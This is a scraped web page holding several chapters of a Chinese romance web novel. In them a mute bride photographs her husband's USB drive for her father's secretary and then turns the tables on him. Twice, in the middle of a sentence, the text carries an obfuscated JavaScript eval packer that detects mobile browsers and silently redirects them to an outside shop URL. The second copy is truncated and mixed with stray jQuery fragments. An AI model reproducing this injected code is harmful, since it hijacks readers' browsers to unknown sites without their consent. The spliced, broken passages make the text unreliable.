心虚之下,再看顾识弈那张一本正经关心她的脸,只觉得自己脑子里的念头龌龊得很,忍不住在心里唾弃了自己一句。 可她还是硬着头皮,想起视频里说的——和攻略对象吃饭时,想拉近距离,就夹他爱吃的菜喂他。 诸愿扫了眼桌上的菜,盯上盘子里的鸡胗,小块易夹。 她夹起一块,刚伸出去,就对上顾识弈抬起来的目光。 他面无表情的样子,看得诸愿手一僵,鸡胗差点从筷子上掉下去。 手已经伸了,收回来更尬尴,她只好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620611|187864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他渐渐蹙起的眉头中,把鸡胗放进了他碗里,顶着他审视的目光,硬扯出个笑容。 空气静默了一秒、两秒、三秒……终于,男人低沉的声音响起:“谢谢。” 诸愿一喜,就听见他接着说:“但我不吃内脏,静姨是看你喜欢,才特意做的。” 静姨正好从厨房里出来,听见这话,笑着打圆场:“顾总爱吃鹌鹑蛋呢,不过今天没做,想要的话我明天弄。” 诸愿的脸“腾”地烧起来,恨不得埋进碗里。 这么一桌子菜,怎么偏偏就选中了他不爱吃的?也太丢人了! 她实在不了解他的喜好,怕再出错,只好彻底歇了用这招拉近距离的心思。 晚上洗完澡,诸愿特意换上了一件白色吊带睡裙,走出房间。 顾识弈这会还在书房处理公务,她看了眼走廊没人,快步走过去,抬手准备敲门时却又顿住了。 低头看了看自己身上这件没多少布料的睡裙,脸颊烫得厉害。这还是她以前宅在家里图舒服买的,没想到如今竟要当qingqu睡衣来穿。 要不还是算了吧?她心里打起了退堂鼓。可一转身,陈秘书威胁的话语又在耳边响起。 她深吸了一口气,回头毅然决然地敲响了书房的门。 三秒后,门开了。 房间里的灯光落在诸愿脸上,把她眼底的紧张和忐忑照得一清二楚,她自己却没察觉。 顾识弈的目光落在她身上。 领口开得有些低,腰身却贴合得勾勒出明显的曲线,裙摆短得不像话,白玉般的匀净长腿几乎全露在了外面。 她的手指攥着裙摆不停地往下拉,像是想多遮一点,但其实都是徒劳。 他的目光最后落在她涨红的脸上,平静地开口:“什么事?” 诸愿闻言抖了抖,停滞了好一会儿才僵硬的把手机递上前。 【我昨天忘记说了,楼下的按摩椅是特意买来送给您的,您喜欢吗?要不要现在下去尝试一下按摩力度?很舒服的。】 顾识弈看完,将目光落回她脸上,诸愿立即咧开嘴,讨好地露出一口白牙。 “……”顾识弈,“就因为这个?” 诸愿点头如捣蒜。 谁知顾识弈却无情地拒绝了:“不了,我现在要处理公务,下次再体验按摩椅,谢谢你的礼物。没什么事你回去睡觉吧。” 眼见着顾识弈要关门,诸愿赶紧伸手挡住,脑子飞快地转动,突然想起什么,她重新打字。 【其实我是失眠了,来书房借书的。我能进您的书房找书看吗?】 空气停滞了三秒,顾识弈侧身让开了门口的位置。 诸愿松了口气,脸上露出真心实意的笑容。 她走进去,顾识弈关上了书房门。 回头的瞬间,他才瞥见那睡裙,不仅仅是领口低、裙摆短,背面更是裸露了一大片肌肤,仅用几根细带系着。 顾识弈的眸色骤然沉了下去。 少女还在天真地张望书房里的书架,像只误入陷阱的幼鹿。 全然没意识到,穿成这样进入一个成年男人的领地,是件多么危险的事。 11. 第11章 诸愿的指尖在书脊上缓缓滑过,目光却始终没有聚焦,眼角的余光不受控制地往身后瞟。 她正琢磨着该找个什么由头回头才自然,指尖刚巧滑到一排精装书的尽头。 借着转身取书的动作,诸愿悄悄抬眼,猝不及防的,撞进一双晦暗不明的眸子里。 顾识弈就站在书架投下的阴影里,双手随意插在裤袋中,姿态闲散,眼神却像在看一场心不在焉的表演。 喉间轻轻动了动,她压下心头那点不自在,假装被指尖抽中的书吸引了目光。 甚至没看清封面印着什么,就匆匆掀开扉页。 下一秒,瞳孔骤然缩成针尖—— 彩色铜板纸上,一颗头颅的横截面特写赫然在目,血管与肌理清晰得仿佛能穿透纸张、闻到那股刺鼻的福尔马林味道,看得人头皮发麻。 诸愿脸上的血色瞬间褪得一干二净,手一抖,书本“啪”地合上。 就在她惊疑未定时,身后忽然飘来一声轻笑,像羽毛扫过心尖。 诸愿惊讶地回头,却见顾识弈神色如常,语气平淡:“慢慢挑,我去工作。” 他转身走向书桌,诸愿盯着他挺拔的背影,几乎要怀疑刚才听错了。 但转念一想,他肯走开倒是正好,省得自己再这般手足无措地演下去。 只是手中这本“书”是万万不能再碰了,光是回想方才那页的画面,她都要怕得不敢睡觉。 诸愿赶紧把书塞回原位,一边翻着其它书,一边悄悄摸出手机。 屏幕亮起的瞬间,她飞快对准不远处伏案工作的顾识弈,按下快门。 “咔嚓——” 闪光灯骤然亮起的那一刻,诸愿的心脏也跟着骤停。 谁能告诉她,闪光灯为什么没有关闭? 敲键盘的声音戛然而止,顾识弈抬起头,那双沉邃的眼眸像结了层冰,锐利的目光带着寒意,直直扫了过来。 诸愿浑身僵成块石头,指甲几乎要嵌进手机壳里。 “过来。” 她磨磨蹭蹭走过去,乖乖地把“罪证”递出去。 男人盯着屏幕看了足有半分钟,书房静得能听见窗外飘进来的晚风。 诸愿低着头,呼吸放得极轻,不敢去看他的表情。手指却紧紧攥着身上的真丝睡衣,布料被捏出深深的褶皱。 “拍好了?”他忽然开口,声音低沉。 还回来的手机屏幕上,正是诸愿提前想好的措辞:【弗朗切斯科发了美人鱼表演的照片,我手机内存满了,刚刚是在拍您的U盘,想搜个同款。静姨说您用的东西都是最好的。】 闻言,她连忙点头,又慌忙摇头。 顾识弈的目光在她脸上停留。 她咬了咬下唇,胆子愈发大了起来:【没拍清,还能再拍一张吗?】 “嗯。” 一声轻允让诸愿彻底松了口气,她立即举起手机对着U盘按下快门,趁着男人低头看屏幕的空档,又悄悄将他和电脑一起框进镜头里。 按下快门的那一刻,头顶忽然又传来他的声音:“拍我也是为了搜同款?” 诸愿心头一跳,赶紧摇头,脑子里却在飞速打转。 瞥见他线条分明的肩膀,一个念头突然冒出来,她连忙打字:【您总对着电脑,肩膀酸不酸?我给您捏肩吧,就当……就当我失眠太无聊活动筋骨。】 顾识弈淡淡扫她一眼:“你送的按摩椅还在楼下。” 【可你不是没用嘛。】她字打得飞快,【按摩椅哪有我手灵活,我给您捏肩,您还能继续工作,多划算。】 不等他拒绝,诸愿已经绕到他身后,伸手撸起他的袖子,指尖触到皮肤的瞬间,却猛地顿住。 男人上臂处,赫然留着一排浅浅的齿痕,形状整齐,显然是成年人的咬印。 “!!!” 谁会咬顾识弈?! 诸愿的脑子“嗡”的一声,无数混乱的念头涌上来。 直到耳边传来顾识弈微沉的声音:“发什么呆?”她才猛地回神,撞进他转过来的疑惑目光里。 犹豫了片刻,她还是打字问了出来:【这牙印……是你喜欢的人咬的吗?】 顾识弈看着她,眼神里浮现一丝近乎古怪的诧异。诸愿心里一慌,赶紧补了句:【对不起,我乱问的!】 “是你咬的。”顾识弈说这话时,语气平淡得像在说今天的气温。 诸愿的眼睛却是瞬间瞪圆,像只受惊的猫。 她咬的? 什么时候!!! 等等,好像是有那么一次……美人鱼表演结束后她晕了过去,迷迷糊糊中似乎是见过顾识弈,好……好像是咬过他?但后来醒来太饿,就把这事忘得一干二净了。 所以顾识弈一直没提,是决定放过她了?结果没想到现在反被她自己翻出来! 诸愿喉间发紧,转身就想逃,手腕却被一股力道轻轻带住。 身后传来他的声音,带着点意味不明地语调:“不是来借书?” 诸愿停在原地,闭了闭眼。 再回头时,她抬手轻拍了拍嘴,打了个大大的哈欠,而后双手合十放在耳边,偏过头,用口型无声地说:〈我现在困了。〉 看着她几乎是落荒而逃的背影消失在门口,顾识弈嘴角不自觉地勾起一个极浅的弧度。 半响,收回目光,视线定在笔记本边缘插着的U盘上时,眸色却像化不开的浓墨,深不见底。 诸愿一回到房间就反锁了门,跳进床上把自己裹进被子里。好半天才敢探出头来,脸颊却烫得能煎鸡蛋。 啊啊啊啊啊,人怎么能在一天里经历这么多尴尬啊! “叮咚——” 信息提示音突然响起,诸愿摸出手机,屏幕上的名字让她脸上的热度顷刻褪去。 陈秘书:【情况怎么样?】 诸愿捏着手机静坐了五分钟,才将那张顾识弈与电脑同框的照片发了过去。 那头像是守在手机前,秒回:【干得不错。】 她没再回复,关了手机丢在床头柜上,拉过被子蒙住了头。 第二天晚上,诸愿故技重施,借着失眠借书的由头再次走进书房。 这一次,她挑了一本诗集,试探着拖过沙发,在顾识弈对面坐下。见他没反应,便假装认真地翻看起来。 五分钟后,她掏出手机,确认关掉闪光灯后,便举起来装作自拍的样子。 实际却悄悄翻转镜头,对着顾识弈按下快门。 后者抬眼看过来,眼神里没了昨晚的冷意,而诸愿也早有准备,指尖不紧不慢地打字:【我想发个朋友圈,在您书房里自拍没关系吧?】 顾识弈没说话,只是收回了目光。 诸愿知道,这是默许了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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站在原地的静姨一脸茫然,喝药不是趁热更好吗? 晚上,诸愿借口放凉了再喝,静姨竟什么也没说的就同意了。等人走了,她立刻将汤药倒进了马桶里冲掉,把空碗放到厨房后,便上楼去书房。 行到走廊就看见,顾识弈的书房门虚掩着,像是早料到她会来、特意为她留的。 她进去,抽出昨天没看完的诗集,在沙发上坐下。 其实按计划,今天已经没有任务了,该拍的都拍好了。再来,不过是怕顾识弈觉得她的失眠好得太快,显得目的性太强,反倒容易露馅。 诸愿摸出手机,把第一天拍的U盘特写发给陈秘书,没加任何文字。 毕竟U盘上的顾氏logo清晰可见,她相信对方能懂。 陈秘书果然回复得很快:【你得手了?快把里面的东西传过来!】 诸愿看了没回,陈秘书竟然直接打了通电话过来。 她赶紧把手机捂在怀里,紧张地看向顾识弈。 男人正专注地看着文件,似乎完全没注意这边。 她不得不庆幸,在进来之前怕打扰顾识弈工作,特意把手机调成了静音。 诸愿垂头看了眼屏幕,索性直接按了关机,把手机放在桌上,重新看向摊开的诗集。 钢笔在文件末尾行云流水地签下“顾识弈”三个大字,笔锋凌厉。 顾识弈合上文件,抬眼时,正瞥见对面沙发上的诸愿。 他抬手看了眼腕上的表——那位说自己失眠的少女,进书房还不到十分钟,就已经窝在沙发里睡熟了。 呼吸均匀,嘴角甚至微微上扬,像是做了个香甜的美梦。 12、第12章 翌日的阳光悄悄爬上床沿时,诸愿还陷在甜美的梦境里。 她无意识地翻了个身,被褥里空了一处,不适感让她又翻了回去。 窗外倾泻的光线愈发刺眼,诸愿皱紧眉头忍了片刻,还是抵不过这扰人的光。睁开眼,窗外日头已挂得老高,热烈的光晃得她下意识眯起眼。 她伸着懒腰坐起身,丝绸睡衣滑落肩头,露出一小片细腻肌肤,趿上拖鞋往浴室走,指尖刚碰到冰凉的门把手,脑子“嗡”的一声。 她猛地侧头,视线死死钉在那扇紧闭的房门上。 没反锁! 诸愿的心脏骤然缩紧,连呼吸都滞了半秒。 从新婚第一天砸伤顾识弈起,她每晚必做的事就是反锁房门。 这也是为什么,明知他对自己半分兴趣都无,在医院依旧怕得要死,绝不敢让他睡在身侧的原因。 就怕哪天惹到他,他忍无可忍,趁她熟睡时,亲手掐断她的脖子。 更让她发慌的是,她完全记不起昨晚是怎么回房的了! 最后的记忆停留在书房那本摊开的诗集上,再往后只有一片空白。 难道……是顾识弈把她抱回来的? 这个念头刚冒出来,就被她按了下去。定了定神,决定先洗漱下楼,探探顾识弈的脸色再说。 刷牙洗脸不过三分钟,她趿着拖鞋往楼下走,刚到楼梯转台,就见顾识弈正从餐桌旁起身。 他身上那套考究西服,从挺括的肩线到妥帖的裤脚,每处细节都透着一丝不苟,像是准备出门。 下楼的脚步声惊动了他,男人回过头来,目光精准地落在她身上。 诸愿脚步未停,他却突然上前一步,声音冷得像寒冬冰棱:“回去。” 她身形一颤,差点踩空,不可置信地望着他。 怎么一觉醒来又对她这么凶了? 难不成昨晚真是麻烦他抱她回去的? 下一秒就听顾识弈对身后吩咐:“林正,你先上车。” 诸愿这才反应过来,他方才上前,原是为了挡住林正的视线。 而她这几天为了能顺利进入书房,穿的睡衣都是偏单薄惹眼的款式,此刻领口微敞,确实不宜见外人。 她脸颊发烫,立刻蹲下身,躲在旋转楼梯下面,只敢露出双圆溜溜的眼睛,看着林正的身影消失在门外。 再抬眼看顾识弈,男人脸上的寒霜丝毫未减,那双漆黑的眸子像结了冰的湖面,冷得吓人。 想到他支开外人,或许是要留下来好好说教自己一顿,诸愿哪还顾得上打探昨晚是怎么回房的,头也不回地转身就往楼上跑。 傻子才留在那儿挨训。 回到房间锁上门,她窝在被窝里等了半天,确认顾识弈不会追上来,才敢挪出来。 从床头柜拿起手机,按了半天没反应,才想起昨晚关机了。 开机的瞬间,密密麻麻的未接来电和信息涌了进来,全是陈秘书的。 她毫不在意地一键清空未接,点开微信,对方从昨晚到凌晨跟疯了似的发了几十条信息。大多是催她传u盘的内容,字里行间甚至夹着威胁,直到凌晨四点才消停。 诸愿的眼神暗了暗,逐条看完信息后却松了口气。 还好,他应该还没告诉诸世青,否则不会只有这些警告。 指尖在屏幕上敲了敲,她故意道:【不好意思,昨天顾总一直缠着我,嫌电话吵就直接关机了。】 陈秘书的回复来得很快,语气又恢复了先前的谄媚:【看来大小姐和姑爷的感情是真的不错,果然英雄难过美人关,顾总也栽在您这儿了。】 诸愿目的达到,不再绕圈子:【我也想传u盘里的东西,可它要密码,我打不开。不如约线下见面,我直接把u盘给你?】 陈秘书:【大小姐可以直接寄给我。】 诸愿料定对方怕她设圈套,面上不急不缓:【寄是方便,可万一丢了怎么办?陈秘书能担得起这个责任吗?你也看到了,我这可是货真价实的机密。】 陈秘书果然急了:【大小姐说笑了,寄个u盘能有什么闪失?您还是尽快下单吧,老板还等着呢。】 诸愿:【那你发个地址来吧。】 大概是她答应得太痛快,对方反倒犹豫了。过了五分钟,信息才进来:【还是见一面吧,许久没见大小姐,老板说很想念您,正好吩咐我过来看看。】 想念? 诸愿嫌恶地皱了皱眉,怕是想念她身上还有多少可利用的价值吧。但她还是换了身利落的衣服,背着包下了楼。 确认一楼没人,她在餐桌上压了张便利贴,便匆匆出门。 约定的咖啡厅里,陈秘书早已坐在靠窗的位置。看见诸愿进来,他眼里瞬间亮起光,目光直勾勾地黏在她的包上,像是在看行走的“摇钱树”。 诸愿不紧不慢地坐下,他这才回过神,干笑两声:“大小姐。”随即对路过的侍者喊,“一杯七分糖的甜牛奶。” “大少爷说过,您小的时候最爱喝这个了。”他看着诸愿,话里有话:“可惜了,大少爷这么好,如今却只能躺在病床上。” 诸愿眸光冷了几分,没接话,只是指尖攥紧了包袋。 陈秘书也识趣,直奔主题:“大小姐,东西可以给我了吧?” 诸愿从包里掏出个纸袋放在桌上,他立刻抢了过去,打开看了眼,满意地笑了。 “我还有事,就不陪大小姐喝茶了,先走一步。” 看着他匆匆离去的背影,诸愿没挽留也没跟着走。 她扫码点了些甜点,然后拨通视频通话。 手机屏幕里实时传来画面,她一边看着,一边认真地用勺子把甜点当早餐舀着吃。 视频里,陈秘书刚走出咖啡馆上了车,还没启动就又下了车,绕了一圈发现左轮胎瘪了,他恼羞成怒地踢了一脚,却只疼得自己呲牙咧嘴。 正好一辆计程车路过,他赶紧招手上了车。 诸愿吃完碟子里最后一块甜品,手机里突然传来男人撕心裂肺的尖叫,像是骨头被生生打断。 屏幕里不断拉近镜头,陈秘书那张脸愈发清晰。 刚刚还西装革履、光鲜亮丽的人,此刻正跪地涕泗横流,尖叫着求饶,哪里还有半分先前的得意。 诸愿不适地喝了口甜牛奶缓冲。 对方倒是没记错,她确实喜欢七分糖的甜牛奶。 早餐吃完,她刚擦完嘴,一个身材魁梧的西装男人走了进来。他显然穿不惯这束缚的衣服,坐下前扯了三次领口,动作带着几分不羁。 看见诸愿,他才松开抓领带的手,咧嘴笑:“小阿愿,三年不见,想海哥了没?” 诸愿瞬间绽开甜甜的笑容,用力点头,打手语:〈想的!〉 冯海武是她哥诸贺的朋友,懂些基础手语。他爽朗一笑,说起正事。 “按你说的,只把人打骨折送医院,把电子产品控制起来,没多动手。雇的是信得过的人,这一点你放心。东西拿到后直接寄去正远集团了,写的林秘书收。就是……”他顿了顿,终究还是把话咽了回去,“算了,私事我就不问了。” 诸愿知道他想问什么,却没法回答,只能当没听懂,比划了句“谢谢”,一笑而过。 冯海武转而问起她哥:“阿贺还好吗?” 〈挺好的,等我攒够了钱,就带他去做手术。〉她比划着,眼神里带着对未来的期待。 “难为你了。”海武眼里怜惜。 诸愿笑着摇摇头。 两人又聊了几句,冯海武便起身:“那我先回去了,以后有事还喊哥。” 诸愿乖巧点头。 等人走了,她才收起脸上一直挂着的笑容,结果发现太久没这样笑过,脸部肌肉竟一时收不回来。 她揉了揉脸颊,心里泛起涩意。 若是三年前那个爱笑的自己知道,三年后连这样露齿大笑都会僵脸,怕是绝不会信的。 一声轻叹落进空荡的角落,她终于站起身,推门走了出去。 夜色降临,诸愿特意在外吃了晚饭才回万宜。到家时得知顾识弈已经吃过晚饭在书房办公,立马雀跃起来。 这样就不用和他碰面了。 等今晚睡一觉,按他那日理万机的样子,明天多半早忘了今早那茬事。 她开心地上了楼,脚步都带着轻快。 —— 顾识弈点击鼠标发送邮件,端起杯子喝了口咖啡,目光不经意间扫向虚掩的门口。八点静姨来送果盘时,说诸愿已经回来了。 他抬腕看表,指针指向九点三十分,比平时她来书房的时间,超过了整整一个半小时。 他端着水杯起身,下楼时正撞见静姨在搓面粉。 静姨抬头打招呼:“顾总。” “嗯。”他应了声,给自己又磨了杯咖啡,临上楼前状似随意地问:“太太的助眠中药还在喝吗?” “今天喝了明天就不喝了。”静姨笑着说:“太太刚刚放碗时跟我说,喝了两天,今天明显有倦意了,上楼就去睡觉了。还让我从明天开始不用熬药了,别说,这名医方子就是管用哈……” 顾识弈喝了口热咖啡,喉结滚动。 小骗子,才装了两天就没耐心了。 眉宇间凝了整晚的沉郁,却在一点点化开,眼底似有若无地漾开一抹涟漪。《 》 13、第13章 “铃铃——”尖锐的闹铃响彻房间。 诸愿从混沌的睡意中挣扎片刻,懒洋洋地从空调被里探出只手,指尖在床头柜上胡乱摸索,终于在第三下时精准划掉了那聒噪的铃声。 房间重归寂静。 她闭着眼赖了一分钟,脑子里忽然浮出个念头:她没事设什么闹钟? 指尖已经触到冰凉的手机屏幕,“六月二十二日”几个字刺得她眼皮一跳。 不敢相信,今天就是弗朗切斯科反复叮嘱过的拍摄日! 前几日被陈秘书的事搅得心神不宁,竟把这头等大事抛到了脑后! 睡意顷刻间蒸发得无影无踪,诸愿几乎是连滚带爬地翻下床,抓过搭在椅背上的衣服就冲进了浴室。 匆匆洗漱完毕,她套上最简单的白t恤和牛仔裤,脑子里全是“迟到”两个字,脚下生风般冲下楼,却在看见餐厅里的景象时生生刹住脚步—— 顾识弈坐在餐桌旁,银质刀叉碰撞瓷盘,发出清脆的轻响,慢条斯理的模样衬得她这副火烧火燎的举止格外狼狈。 最重要的是,昨天的事顾识弈还没找她,不知道还记不记得。 诸愿下意识想转身逃回楼上,脚尖刚动又猛地顿住,拍摄时间可不等人。 她深吸一口气,暗自安慰:顾识弈那样的人,多半早把昨天的事抛到九霄云外去了。 这么想着,她硬着头皮,一步三挪地蹭过餐桌。 果然,顾识弈眼皮都没抬一下,依旧专注地对付盘中的煎蛋。 就在她即将溜出门时,身后忽然传来他的声音:“静姨,牛奶。” 诸愿脚步一顿,回头正撞见端着牛奶杯从厨房出来的静姨。 “太太您醒了?”静姨一眼注意到她,笑得和蔼,“那快来吃早饭,今天的海鲜粥啊,是特意剥了虾皮的......” 怕静姨念叨起来没完,诸愿看了眼手机,还有五分钟空余。 她走回去拉开椅子坐下,刚端起粥喝了两口,对面的顾识弈恰好放下刀叉,抽了张餐纸细细擦着嘴角。 诸愿心里一喜:这是要走了? 她一边小口啜粥,一边忍不住偷偷抬眼瞟了好几次,想看看他什么时候动身。 可顾识弈稳坐如山,半点要起身的意思都没有。 诸愿微微蹙眉,索性把头抬得更高些,探究他到底在磨蹭什么,视线却不偏不倚地撞上顾识弈的目光。 那双眼,静无波澜,却带着一种莫名的穿透力,仿佛能直抵人心最深处。 诸愿心头一跳,慌忙低下头,假装专心喝碗里的粥,耳根却悄悄泛起热意。 “今天李叔请假了,我送你。”对面传来顾识弈平淡无波的声音,像是在陈述一个既定事实,又像是在解释。 诸愿猛地抬头,满眼惊诧。 所以他是在等她? 她第一反应就是拒绝,飞快地在手机上打字:【谢谢您,不过我打车就行,你去上班吧。】 “下午几点?”顾识弈像是没看见她的文字,淡淡开口。 诸愿一时没反应过来。 “下班时间。”他补充道,语气依旧平铺直叙,却带着不容更改的意味。 诸愿这才听懂,他不仅要送她去,还要接她回。 她赶紧又想打字拒绝,可指尖刚敲出“不用”两个字就顿住了。 刚刚的拒绝他尚且没理会,再“说”一遍,恐怕也是白费功夫。 眼珠转了转,她换了个说法:【弗朗切斯科说拍摄时间不固定,今天说不定早早就结束了,也可能要加班到很晚。要不还是不麻烦您特意跑一趟了,网约车也很方便的。】 顾识弈只是扫过她的手机屏幕,便收回了目光,脸上没什么表情,看不出是听进去了还是没听进去。 他不开口,诸愿也不敢多问,只能加快喝粥的速度,瓷勺碰得碗沿叮当作响。 车里,王叔在前面开车,诸愿瞥了眼一上车就打开电脑处理公务的顾识弈。电脑蓝光映在他轮廓分明的侧脸上,连睫毛都透着冷意。 既然这么争分夺秒,为什么还要送她? 早知道她就跑快点,就不会被静姨逮住吃早餐、更不会和他同车了。 她握紧手提包,望着窗外不断后移的景色懊恼起来。 “诸愿看这里,对,来,笑一下,诶对对对……” “咔嚓——咔嚓——” “助理,下一套准备!” 下午三点,拍了六个多小时不间断的诸愿拖着像灌了铅的腿走进休息室,身后跟着临时派给她的助理小芙。 小姑娘刚毕业,一口一个“阿愿姐”的把午餐递过来:“您快吃点东西吧。” 诸愿换了自己的衣服,看到桌上的可口饭菜和热汤,肚子立刻不争气地叫了起来。 她坐下狼吞虎咽时,忽然想起早上在车里后悔没跑快点、不想和顾识弈同车的事,现在想想,幸好当时吃了点东西,不然从早上饿到现在,恐怕早就体力不支晕倒了。 吃完饭躺了半小时,诸愿本以为可以回家,却被告知有一组图要补拍。 不得已,她又补了妆去摄影棚。 这一拍又是一个半小时,直到摄影师检查完素材点头,才放她回休息室换衣服卸妆。想着现在就能回家了,诸愿才恢复了一丝活力。 走出休息室,诸愿才想起早上顾识弈明显是想来接她的话。 但现在她提前下班了,他肯定还在上班,不能来接她。 想到这,她立即打字:【我下班了,您要是没空的话,我就自己打车回家了。】 这样一来,顾识弈就不会觉得是她在逃避了。 诸愿心情轻快地走过大厅,正巧遇上弗朗切斯科。 “刚刚表现不错,”他笑着竖起拇指,“不过后面几天要出外景,会更辛苦,没问题吧?” 诸愿点头表示没问题。 弗朗切斯科却狡黠一笑:“出外景可不是一般辛苦,单你点头可不行。得让顾总这几天克制点,别影响你休息。” 诸愿一愣,随即热意从脸颊蔓延到耳后根。 上次在医院,弗朗切斯科来看望她时,她就猜到他可能知道了她和顾识弈的关系,却没想到他会明目张胆地说出来,而她还不能反驳。 大概是见她太窘迫,弗朗切斯科放过了她:“说正事,我来是想邀请你去参加一个私宴,介绍您认识一下时尚圈里的老师郑老,到时候能不能签下下一份合同,就看你的表现了。” 他递过一张烫金请柬,补充道:“不过也不用太担心,我给他们提前看了你的照片,基本见了就等于定下了。就是……咳咳,可以带家属哦。” 诸愿听出了言外之意,接过请柬的指尖微顿。 告别弗朗切斯科,她走出拍摄大厦,一眼就看见早上那辆黑色轿车停在路边。 她一惊,赶紧取消了刚叫的网约车。不可思议地想:顾识弈怎么宁愿翘班也要来接她? 这时,驾驶位的王叔下了车,喊道:“太太。” 诸愿看见旁边有人张望,赶紧跑过去,就怕这称呼引来更多人注目。走近了才发现,后座并没有顾识弈。 “顾总今天要加班,让我来接您。”张叔替她打开车后门,以为诸愿没看见顾识弈失落,特意解释道。语气还带着几分小心翼翼。 孰不知诸愿心里乐开了花,只是脸上□□着恰到好处的失落表情。 她坐进后座,打开手机才发现顾识弈十分钟前回了她信息:【已经派王叔去了。】 她忽然福灵心至,李叔请假了,顾识弈是不是认为她声障不好打车,才坚持要接她上下班?就算人没来也要派自己的司机来。 诸愿心里泛起一丝暖意,原来顾识弈是这个意思。 是她误会他了。 现在,她要再次宣布,顾识弈就是一个好人! 第二天顾识弈又说要接送她上下班时,诸愿没再拒绝,反而高兴地打字道谢。 —— 弗朗切斯科说得没错,出外景确实格外辛苦。特别是夏天的太阳,晒得人头晕眼花,草丛里的蚊虫更是凶猛,稍不留意就被咬得满腿包。更要命的是,加班一天比一天晚。 几天下来,诸愿累得沾床就想睡,连玩贪吃蛇的力气都没了。 这天她下班回家,快速洗了澡下楼等饭吃。路过客厅里的按摩椅,她停下脚步,试着插上电坐上去。 后背传来震动,浑身的疲惫仿佛都被揉散了,诸愿舒服地闭上了眼睛。 忽然,面前落下片阴影,带着清冽的松木香,诸愿狐疑地睁开一只眼,猝不及防对上顾识弈的目光,脸色瞬间一白。 “我长得像阎王?”他俯身凑近,声音低沉。 诸愿慌忙摇头,像人形拨浪鼓。 顾识弈挑眉,目光在她姣好的脸上扫了一圈:“那你脸色怎么这么白?” 诸愿欲哭无泪,睁眼就近距离地看见雇主的脸,能不被吓白吗,而且她私自用他的按摩椅,更心虚了。 她想从按摩椅上下来再解释,可顾识弈的腿就抵在按摩椅边,严丝密缝地挡住了她的去路。 她只好摸出手机打字:【对不起,我不是故意不打招呼就用您的按摩椅的。我太累了,下次一定注意,您可以原谅我吗?】 “你怕的是这个?” 诸愿点头,虽然她现在觉得他是个好人了,但不代表没有了敬畏之心。 面对顾识弈,还是近距离的顾识弈,她还是会怕得发抖的。 “那要是我不同意你用呢?”顾识弈忽然问道,指尖轻轻敲着按摩椅扶手。 诸愿手指攥紧了手机,没想到一向大度的他会这样说。 没等她想出该怎么回应,顾识弈忽然倾身,热气拂过她的耳畔,尾音微微上扬: “你要再穿那件吊带睡衣,来书房求我吗?”《 》 14、第14章 诸愿的眼睛一瞬间睁大,瞳仁里盛着惊慌。 顾识弈看着她受惊的眸子顿了下,直起身,喉间溢出一句:“抱歉,我乱说的。”又补了一句:“按摩椅你随时都可以用。” 诸愿仰头望着恢复正常的顾识弈,脑子却有点乱。 又想到本来就是她先乱用他的东西,方才被冒犯的羞恼散了大半,只剩下想逃离这逼仄空间的急切。 可顾识弈道完歉,高大的身影仍钉在原地,将她圈在一片阴影里,半分要走的意思都没有。 空气仿佛凝成了冰。 忽然,顾识弈的目光落在她裸露的小腿上,指腹轻轻点过那片被蚊子叮出的红肿,声线低沉:“这是怎么弄的?” 诸愿下意识往回缩了缩腿,指尖在手机屏幕上敲得飞快:【被蚊子咬的。】 他抬眼望她,眉峰微蹙:“我知道是蚊子咬的,我是说,怎么咬的?你们摄影棚不是在二十三楼,蚊子会坐电梯上班?” 诸愿眉眼不由松开,立刻补了一行字:【拍外景的时候咬的。】 顾识弈没再说话,下颌线绷直。 诸愿垂下眼,能感觉到他的视线落在自己发顶,带着一种说不清道不明的重量,压得她根本不敢再抬头对视。 以为这沉默会一直延续下去,他却忽然开口,话语直白: “林正说你的开支很少,卡里的余额,加上一年后顾氏那三成增值,足够你躺平一辈子。既然这样,为什么还要做这些?”他顿了顿,目光扫过她眼下的青黑,“开心就罢了,可你分明累得快要散架,还弄出这些伤来。” 诸愿的指尖悬在屏幕上方。她当然知道那张黑卡里有多少钱,可“顾太太”这个身份是有保质期的,万一哪天惹他不快,这张卡随时都会被收回。 一年的时间说长不长,说短不短,谁知道意外会不会在下个转角等着? 更别提父亲还在暗处盯着,哥哥随时可能恶化的病情,哪一样都能轻易将她碾碎。 退一步说,就算是她自己撑不住想跑,没钱又能跑到哪里去? 她太需要钱了,需要一大笔真正属于自己的、能攥在手里的底气。在那之前,任何赚钱的机会,她都不想放过。 可此刻,更让她心惊的是另一种可能——或许顾识弈已经后悔了,他不喜欢她抛头露面,不喜欢她这副狼狈的模样,损了“顾太太”的体面。只是不好直说,才用这种方式暗示她收敛。 “你大学学的什么?”他突然打断她的思绪,“可以换份工作。” 诸愿一绪未平,又起一绪,脸颊腾地烧了起来。 大一下学期哥哥出事后,父亲就断了她的学费,用哥哥的医药费逼着她休学。 那些年,她在医院里一边照顾哥哥,一边啃着旧课本自学,却连张毕业证都没有。 这样的履历,哪家企业会要? 她摇了摇头,避开他的目光,屏幕上的字敲得很轻:【这份工作挺好的,干活哪有不辛苦的。】 顾识弈看完屏幕上的字,没再追问。诸愿松了口气,看来他只是随口问问,并非真要干涉她的事。 心思落定,她突然想起弗朗切斯科递来的那张烫金请柬。 她查过,虽说名义上是私宴,里头却是场披着温情外衣的商务局。 可弗朗切斯科帮过她,如今又亲自说到她面前,于情于理,她都该跟顾识弈提一句。 虽然她觉得顾识弈并不会对这种场合感兴趣。 她打开图片,递到他面前:【这个私宴,你去吗?】 “你邀请我?”他的声音里带着点说不清的意味。 诸愿老实回复:【弗朗切斯科想请您。】 “拿我当人情?”顾识弈微眯起眼看她,指尖在她手机边缘轻轻敲了敲,力道不重,却像敲在她心尖,“胆子不小。” 诸愿抿紧唇,协议里写得清楚,他出席任何宴会,她都得陪同。如今她反过来“邀请”他,确实越界了。 她正准备收回手机,却听见他问:“几点?” 